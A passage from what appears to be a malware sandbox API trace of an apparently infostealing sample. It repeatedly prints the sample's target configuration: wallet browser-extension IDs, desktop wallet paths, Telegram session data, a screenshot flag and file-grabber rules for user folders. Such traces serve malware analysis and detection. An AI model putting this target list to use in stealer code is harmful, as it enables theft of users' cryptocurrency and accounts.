Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.806] lstrcmpiW (lpString1="sstmnfo", lpString2="libs") returned 1 [0259.807] LocalFree (hMem=0x6b9720) returned 0x0 [0259.807] LocalFree (hMem=0x6bb3a0) returned 0x0 [0259.807] LocalFree (hMem=0x6bd020) returned 0x0 [0259.808] StrStrW (lpFirst="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.808] lstrlenW (lpString="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3596 [0259.808] lstrlenW (lpString="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3596 [0259.808] LocalAlloc (uFlags=0x40, uBytes=0x1c18) returned 0x6b9720 [0259.808] lstrlenW (lpString="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3596 [0259.808] LocalAlloc (uFlags=0x40, uBytes=0x1c18) returned 0x6bb340 [0259.808] lstrlenW (lpString="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3596 [0259.808] LocalAlloc (uFlags=0x40, uBytes=0x1c18) returned 0x6bcf60 [0259.809] StrStrW (lpFirst="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 